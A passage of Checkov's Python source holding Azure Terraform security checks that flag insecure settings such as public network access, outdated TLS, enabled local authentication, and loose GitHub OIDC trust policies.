categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'public_network_access_enabled' not in conf or conf['public_network_access_enabled'][0]: self.evaluated_keys = ['public_network_access_enabled'] if 'is_virtual_network_filter_enabled' in conf and conf['is_virtual_network_filter_enabled'][0]: self.evaluated_keys.append('is_virtual_network_filter_enabled') if 'virtual_network_rule' in conf and conf['virtual_network_rule'][0]: self.evaluated_keys.append('virtual_network_rule') return CheckResult.PASSED elif 'ip_range_filter' in conf and conf['ip_range_filter'][0]: self.evaluated_keys.append('ip_range_filter') return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = CosmosDBAccountsRestrictedAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/CosmosDBDisableAccessKeyWrite.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CosmosDBDisableAccessKeyWrite(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure cosmosdb does not allow privileged escalation by restricting management plane changes" id = "CKV_AZURE_132" supported_resources = ("azurerm_cosmosdb_account",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "access_key_metadata_writes_enabled" def get_expected_value(self) -> Any: return False check = CosmosDBDisableAccessKeyWrite() ================================================ FILE: checkov/terraform/checks/resource/azure/CosmosDBDisablesPublicNetwork.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CosmosDBDisablesPublicNetwork(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Cosmos DB disables public network access" id = "CKV_AZURE_101" supported_resources = ['azurerm_cosmosdb_account'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'public_network_access_enabled' def get_expected_value(self): return False check = CosmosDBDisablesPublicNetwork() ================================================ FILE: checkov/terraform/checks/resource/azure/CosmosDBHaveCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CosmosDBHaveCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest" id = "CKV_AZURE_100" supported_resources = ['azurerm_cosmosdb_account'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'key_vault_key_id' def get_expected_value(self): return ANY_VALUE check = CosmosDBHaveCMK() ================================================ FILE: checkov/terraform/checks/resource/azure/CosmosDBLocalAuthDisabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CosmosDBLocalAuthDisabled(BaseResourceValueCheck): def __init__(self) -> None: # This is the full description of your check description = "Ensure that Local Authentication is disabled on CosmosDB" # This is the Unique ID for your check id = "CKV_AZURE_140" # These are the terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ('azurerm_cosmosdb_account',) # Valid CheckCategories are defined in checkov/common/models/enums.py categories = (CheckCategories.IAM,) super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if conf.get("kind") == ["GlobalDocumentDB"]: return super().scan_resource_conf(conf) return CheckResult.UNKNOWN def get_inspected_key(self) -> str: return "local_authentication_disabled" def get_expected_value(self) -> Any: return True check = CosmosDBLocalAuthDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/CutsomRoleDefinitionSubscriptionOwner.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from typing import List class CustomRoleDefinitionSubscriptionOwner(BaseResourceCheck): def __init__(self): name = "Ensure that no custom subscription owner roles are created" id = "CKV_AZURE_39" supported_resources = ['azurerm_role_definition'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): actions = conf.get("permissions", [{}])[0].get("actions", [""]) if actions and "*" in actions[0]: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['permissions/[0]/actions'] check = CustomRoleDefinitionSubscriptionOwner() ================================================ FILE: checkov/terraform/checks/resource/azure/DataExplorerSKUHasSLA.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class DataExplorerSKUHasSLA(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure that data explorer uses Sku with an SLA" id = "CKV_AZURE_180" supported_resources = ("azurerm_kusto_cluster",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.UNKNOWN, ) def get_inspected_key(self) -> str: return "sku/[0]/name" def get_forbidden_values(self) -> list[Any]: return [ "Dev(No SLA)_Standard_D11_v2", "Dev(No SLA)_Standard_E2a_v4", ] check = DataExplorerSKUHasSLA() ================================================ FILE: checkov/terraform/checks/resource/azure/DataExplorerServiceIdentity.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class DataExplorerServiceIdentity(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that data explorer/Kusto uses managed identities to access Azure resources securely." id = "CKV_AZURE_181" supported_resources = ('azurerm_kusto_cluster',) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'identity/[0]/type' def get_expected_values(self) -> Any: return ANY_VALUE check = DataExplorerServiceIdentity() ================================================ FILE: checkov/terraform/checks/resource/azure/DataExplorerUsesDiskEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class DataExplorerUsesDiskEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Data Explorer (Kusto) uses disk encryption" id = "CKV_AZURE_74" supported_resources = ['azurerm_kusto_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'disk_encryption_enabled' check = DataExplorerUsesDiskEncryption() ================================================ FILE: checkov/terraform/checks/resource/azure/DataFactoryNoPublicNetworkAccess.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class DataFactoryNoPublicNetworkAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Data factory public network access is disabled" id = "CKV_AZURE_104" supported_resources = ("azurerm_data_factory",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_network_enabled" def get_expected_value(self) -> Any: return False check = DataFactoryNoPublicNetworkAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/DataFactoryUsesGitRepository.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DataFactoryUsesGitRepository(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Data Factory uses Git repository for source control" id = "CKV_AZURE_103" supported_resources = ["azurerm_data_factory"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: github = conf.get("github_configuration", [{}])[0] if isinstance(github, dict) and github.get("repository_name"): self.evaluated_keys = ['github_configuration/[0]/repository_name'] return CheckResult.PASSED vsts = conf.get("vsts_configuration", [{}])[0] if isinstance(vsts, dict) and vsts.get("repository_name"): self.evaluated_keys = ['vsts_configuration/[0]/repository_name'] return CheckResult.PASSED self.evaluated_keys = ['github_configuration', 'vsts_configuration'] return CheckResult.FAILED check = DataFactoryUsesGitRepository() ================================================ FILE: checkov/terraform/checks/resource/azure/DataLakeStoreEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class DataLakeStoreEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure that Data Lake Store accounts enables encryption" id = "CKV_AZURE_105" supported_resources = ('azurerm_data_lake_store',) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return 'encryption_state' def get_expected_value(self): return "Enabled" check = DataLakeStoreEncryption() ================================================ FILE: checkov/terraform/checks/resource/azure/DatabricksWorkspaceIsNotPublic.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import List, Any class DatabricksWorkspaceIsNotPublic(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Databricks Workspace data plane to control plane communication happens over private link" id = "CKV_AZURE_158" supported_resources = ['azurerm_databricks_workspace'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return 'public_network_access_enabled' def get_forbidden_values(self) -> List[Any]: return [True] check = DatabricksWorkspaceIsNotPublic() ================================================ FILE: checkov/terraform/checks/resource/azure/EventHubNamespaceMinTLS12.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EventHubNamespaceMinTLS12(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Event Hub Namespace uses at least TLS 1.2" id = "CKV_AZURE_223" supported_resources = ("azurerm_eventhub_namespace",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "minimum_tls_version" def get_expected_value(self) -> Any: return "1.2" check = EventHubNamespaceMinTLS12() ================================================ FILE: checkov/terraform/checks/resource/azure/EventHubNamespaceZoneRedundant.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck LOCATIONS_W_REDUNDANCY = [ # Asia Pacific "Australia East", "australiaeast", "Central India", "centralindia", "China North 3", "chinanorth3", "East Asia", "eastasia", "Indonesia Central", "indonesiacentral", "Japan East", "japaneast", "Japan West", "japanwest", "Korea Central", "koreacentral", "New Zealand North", "newzealandnorth", "South Africa North", "southafricanorth", "Southeast Asia", "southeastasia", # Canada "Canada Central", "canadacentral", # Europe "France Central", "francecentral", "Germany West Central", "germanywestcentral", "Italy North", "italynorth", "North Europe", "northeurope", "Norway East", "norwayeast", "Poland Central", "polandcentral", "Spain Central", "spaincentral", "Sweden Central", "swedencentral", "Switzerland North", "switzerlandnorth", "UK South", "uksouth", "West Europe", "westeurope", # Mexico "Mexico Central", "mexicocentral", # Middle East "Israel Central", "israelcentral", "Qatar Central", "qatarcentral", "UAE North", "uaenorth", # South America "Brazil South", "brazilsouth", # US "Central US", "centralus", "East US", "eastus", "East US 2", "eastus2", "South Central US", "southcentralus", "US Gov Virginia", "usgovvirginia", "West US 2", "westus2", "West US 3", "westus3" ] class EventHubNamespaceZoneRedundant(BaseResourceValueCheck): def __init__(self) -> None: """ Zone Redundancy is now determined automatically based on region. """ name = "Ensure the Azure Event Hub Namespace is zone redundant" id = "CKV_AZURE_228" supported_resources = ("azurerm_eventhub_namespace",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "location" def get_expected_values(self): return LOCATIONS_W_REDUNDANCY check = EventHubNamespaceZoneRedundant() ================================================ FILE: checkov/terraform/checks/resource/azure/EventgridDomainIdentityProviderEnabled.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EventgridDomainIdentityProviderEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Managed identity provider is enabled for Azure Event Grid Domain" id = "CKV_AZURE_194" supported_resources = ("azurerm_eventgrid_domain",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "identity/[0]/type" def get_expected_value(self) -> Any: return ANY_VALUE check = EventgridDomainIdentityProviderEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/EventgridDomainLocalAuthentication.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EventgridDomainLocalAuthentication(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Event Grid Domain local Authentication is disabled" id = "CKV_AZURE_195" supported_resources = ("azurerm_eventgrid_domain",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "local_auth_enabled" def get_expected_value(self) -> Any: return False check = EventgridDomainLocalAuthentication() ================================================ FILE: checkov/terraform/checks/resource/azure/EventgridDomainNetworkAccess.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EventgridDomainNetworkAccess(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Event Grid Domain public network access is disabled" id = "CKV_AZURE_106" supported_resources = ['azurerm_eventgrid_domain'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self): return 'public_network_access_enabled' def get_expected_value(self): return False check = EventgridDomainNetworkAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/EventgridTopicIdentityProviderEnabled.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EventgridTopicIdentityProviderEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Managed identity provider is enabled for Azure Event Grid Topic" id = "CKV_AZURE_191" supported_resources = ("azurerm_eventgrid_topic",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "identity/[0]/type" def get_expected_value(self) -> Any: return ANY_VALUE check = EventgridTopicIdentityProviderEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/EventgridTopicLocalAuthentication.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EventgridTopicLocalAuthentication(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Event Grid Topic local Authentication is disabled" id = "CKV_AZURE_192" supported_resources = ("azurerm_eventgrid_topic",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "local_auth_enabled" def get_expected_value(self) -> Any: return False check = EventgridTopicLocalAuthentication() ================================================ FILE: checkov/terraform/checks/resource/azure/EventgridTopicNetworkAccess.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EventgridTopicNetworkAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure public network access is disabled for Azure Event Grid Topic" id = "CKV_AZURE_193" supported_resources = ("azurerm_eventgrid_topic",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_expected_value(self) -> Any: return False check = EventgridTopicNetworkAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/FrontDoorWAFACLCVE202144228.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class FrontDoorWAFACLCVE202144228(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell" id = "CKV_AZURE_133" supported_resources = ["azurerm_frontdoor_firewall_policy"] categories = [CheckCategories.APPLICATION_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: self.evaluated_keys = ["managed_rule"] managed_rules = conf.get("managed_rule") or [] for idx_managed_rule, managed_rule in enumerate(force_list(managed_rules)): self.evaluated_keys = [f"managed_rule/[{idx_managed_rule}]/type"] if managed_rule and managed_rule.get("type") in (["DefaultRuleSet"], ["Microsoft_DefaultRuleSet"]): rule_overrides = managed_rule.get("override") or [] for idx_override, rule_override in enumerate(force_list(rule_overrides)): self.evaluated_keys.append( f"managed_rule/[{idx_managed_rule}]/override/[{idx_override}]/rule_group_name" ) if rule_override.get("rule_group_name") == ["JAVA"]: rules = rule_override.get("rule") or [] for idx_rule, rule in enumerate(force_list(rules)): self.evaluated_keys.extend( [ f"managed_rule/[{idx_managed_rule}]/override/[{idx_override}]/rule/[{idx_rule}]/rule_id", f"managed_rule/[{idx_managed_rule}]/override/[{idx_override}]/rule/[{idx_rule}]/enabled", f"managed_rule/[{idx_managed_rule}]/override/[{idx_override}]/rule/[{idx_rule}]/action", ] ) if rule.get("rule_id") == ["944240"]: if rule.get("enabled") != [True]: return CheckResult.FAILED if rule.get("action") not in (["Block"], ["Redirect"]): return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = FrontDoorWAFACLCVE202144228() ================================================ FILE: checkov/terraform/checks/resource/azure/FrontdoorUseWAFMode.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class FrontdoorUseWAFMode(BaseResourceCheck): def __init__(self): name = "Ensure that Azure Front Door uses WAF in \"Detection\" or \"Prevention\" modes" id = "CKV_AZURE_123" supported_resources = ['azurerm_frontdoor_firewall_policy'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'policy_settings' in conf and conf['policy_settings'][0]: policy_settings = conf['policy_settings'][0] if 'enabled' in policy_settings and not policy_settings['enabled'][0]: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["policy_settings/[0]/enable"] check = FrontdoorUseWAFMode() ================================================ FILE: checkov/terraform/checks/resource/azure/FunctionAppDisallowCORS.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class FunctionAppDisallowCORS(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure function apps are not accessible from all regions" id = "CKV_AZURE_62" supported_resources = ['azurerm_function_app'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.PASSED) def get_inspected_key(self): return 'site_config/[0]/cors/[0]/allowed_origins' def get_forbidden_values(self): return [['*']] check = FunctionAppDisallowCORS() ================================================ FILE: checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class FunctionAppEnableLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure function app builtin logging is enabled" id = "CKV_AZURE_159" supported_resources = ['azurerm_function_app', 'azurerm_function_app_slot'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return 'enable_builtin_logging' check = FunctionAppEnableLogging() ================================================ FILE: checkov/terraform/checks/resource/azure/FunctionAppHttpVersionLatest.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class FunctionAppHttpVersionLatest(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'HTTP Version' is the latest, if used to run the Function app" id = "CKV_AZURE_67" supported_resources = ['azurerm_function_app', 'azurerm_function_app_slot'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'site_config/[0]/http2_enabled' check = FunctionAppHttpVersionLatest() ================================================ FILE: checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class FunctionAppMinTLSVersion(BaseResourceValueCheck): def __init__(self) -> None: """ The minimum supported TLS version for the function app. Defaults to 1.2 for new function apps. field name is: - min_tls_version in azurerm_function_app, azurerm_function_app_slot. - minimum_tls_version in newer resources (with linux/windows). """ name = "Ensure Function app is using the latest version of TLS encryption" id = "CKV_AZURE_145" supported_resources = ['azurerm_function_app', 'azurerm_linux_function_app', 'azurerm_windows_function_app', 'azurerm_function_app_slot', 'azurerm_linux_function_app_slot', 'azurerm_windows_function_app_slot'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: if self.entity_type in ("azurerm_function_app", "azurerm_function_app_slot"): return "site_config/[0]/min_tls_version" else: return "site_config/[0]/minimum_tls_version" def get_expected_value(self) -> float: return 1.2 def get_expected_values(self) -> List[Any]: return ["1.2", 1.2, "1.3", 1.3] check = FunctionAppMinTLSVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class FunctionAppPublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Function App public network access is disabled" id = "CKV_AZURE_221" supported_resources = ( "azurerm_linux_function_app", "azurerm_linux_function_app_slot", "azurerm_windows_function_app", "azurerm_windows_function_app_slot", ) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_expected_value(self) -> Any: return False check = FunctionAppPublicAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/FunctionAppsAccessibleOverHttps.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class FunctionAppsAccessibleOverHttps(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Function apps is only accessible over HTTPS" id = "CKV_AZURE_70" supported_resources = ['azurerm_function_app', 'azurerm_linux_function_app', 'azurerm_windows_function_app', 'azurerm_function_app_slot', 'azurerm_linux_function_app_slot', 'azurerm_windows_function_app_slot'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # default=false for https_only if 'https_only' not in conf.keys(): return CheckResult.FAILED https_only = conf.get('https_only')[0] if not https_only: self.evaluated_keys = ['https_only'] return CheckResult.FAILED # relevant for linux/windows resources if 'auth_settings_v2' in conf.keys(): auth_settings_v2 = conf['auth_settings_v2'][0] # default=true for require_https if 'require_https' not in auth_settings_v2: return CheckResult.PASSED require_https = auth_settings_v2.get('require_https')[0] if not require_https: self.evaluated_keys = ['auth_settings_v2', 'auth_settings_v2/[0]/require_https'] return CheckResult.FAILED return CheckResult.PASSED check = FunctionAppsAccessibleOverHttps() ================================================ FILE: checkov/terraform/checks/resource/azure/FunctionAppsEnableAuthentication.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class FunctionAppsEnableAuthentication(BaseResourceValueCheck): def __init__(self): name = "Ensure that function apps enables Authentication" id = "CKV_AZURE_56" supported_resources = ['azurerm_function_app'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'auth_settings/[0]/enabled' check = FunctionAppsEnableAuthentication() ================================================ FILE: checkov/terraform/checks/resource/azure/GithubActionsOIDCTrustPolicy.py ================================================ from typing import Dict, Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list from checkov.common.util.oidc_utils import gh_abusable_claims, gh_repo_regex class AzureGithubActionsOIDCTrustPolicy(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Azure GitHub Actions OIDC trust policy is configured securely" id = "CKV_AZURE_249" supported_resources = [ "azuread_application_federated_identity_credential", ] categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def validate_subject_claim(self, subject: str) -> bool: """Validates the subject claim for security concerns""" if not subject: return False # If no colons - invalid format for GitHub Actions claims if ":" not in subject: return False claim_parts = subject.split(":") # Check for wildcards in critical positions if claim_parts[0] == "*" or claim_parts[1] == "*": return False # Check for abusable claims if claim_parts[0] in gh_abusable_claims: return False # Validate repo format if repo claim is used if claim_parts[0] == "repo": if not gh_repo_regex.match(claim_parts[1]): return False return True def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """Scans the configuration for Azure GitHub Actions OIDC trust policy""" try: condition = force_list(conf.get("subject", [None]))[0] if not condition: return CheckResult.FAILED # We should have colon delimited subject claim if ":" not in condition or condition == "*": return CheckResult.FAILED # At this point we know we have a colon delimited subject claim, so length should be at least 2 split_condition = condition.split(":") # First check -> wildcards if "*" == split_condition[0] or "*" == split_condition[1]: return CheckResult.FAILED # Second check -> abusable claims if split_condition[0] in gh_abusable_claims: return CheckResult.FAILED # Third check -> repo format if split_condition[0] == "repo" and not gh_repo_regex.match(split_condition[1]): return CheckResult.FAILED return CheckResult.PASSED except Exception: return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["identity_federation/subject", "subject"] check = AzureGithubActionsOIDCTrustPolicy() ================================================ FILE: checkov/terraform/checks/resource/azure/IoTNoPublicNetworkAccess.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class IoTNoPublicNetworkAccess(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure IoT Hub disables public network access" id = "CKV_AZURE_108" supported_resources = ['azurerm_iothub'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return 'public_network_access_enabled' def get_expected_value(self): return False check = IoTNoPublicNetworkAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/KeyBackedByHSM.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class KeyBackedByHSM(BaseResourceValueCheck): def __init__(self): name = "Ensure that key vault key is backed by HSM" id = "CKV_AZURE_112" supported_resources = ['azurerm_key_vault_key'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'key_type' def get_expected_value(self): return 'RSA-HSM' def get_expected_values(self): return [self.get_expected_value(), 'EC-HSM'] check = KeyBackedByHSM() ================================================ FILE: checkov/terraform/checks/resource/azure/KeyExpirationDate.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class KeyExpirationDate(BaseResourceValueCheck): def __init__(self): name = "Ensure that the expiration date is set on all keys" id = "CKV_AZURE_40" supported_resources = ['azurerm_key_vault_key'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'expiration_date' def get_expected_value(self): return ANY_VALUE check = KeyExpirationDate() ================================================ FILE: checkov/terraform/checks/resource/azure/KeyVaultDisablesPublicNetworkAccess.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class KeyVaultDisablesPublicNetworkAccess(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Key Vault disables public network access" id = "CKV_AZURE_189" supported_resources = ('azurerm_key_vault',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "public_network_access_enabled" def get_expected_value(self): return False def scan_resource_conf(self, conf) -> CheckResult: """ KeyVaultDisablesPublicNetworkAccess unique logic. public_network_access_enabled default value is True (when creating it) If it False - check pass Otherwise, we check that ip rules configured inside network_acls. """ conf_value = conf.get(self.get_inspected_key()) conf_value = conf_value[0] if isinstance(conf_value, list) else conf_value if self.get_expected_value() == conf_value: return CheckResult.PASSED if conf.get("network_acls"): network_acls = conf.get("network_acls") if isinstance(network_acls, list): for network_acl in network_acls: if isinstance(network_acl, dict): ip_rules = network_acl.get("ip_rules") # Get first element in ip_rules (as parser wrap it with list). ip_rules = ip_rules[0] if ip_rules and isinstance(ip_rules, list) else ip_rules if ip_rules: return CheckResult.PASSED virtual_network_subnet_ids = network_acl.get("virtual_network_subnet_ids") # Get first element in virtual_network_subnet_ids (as parser wrap it with list). virtual_network_subnet_ids = 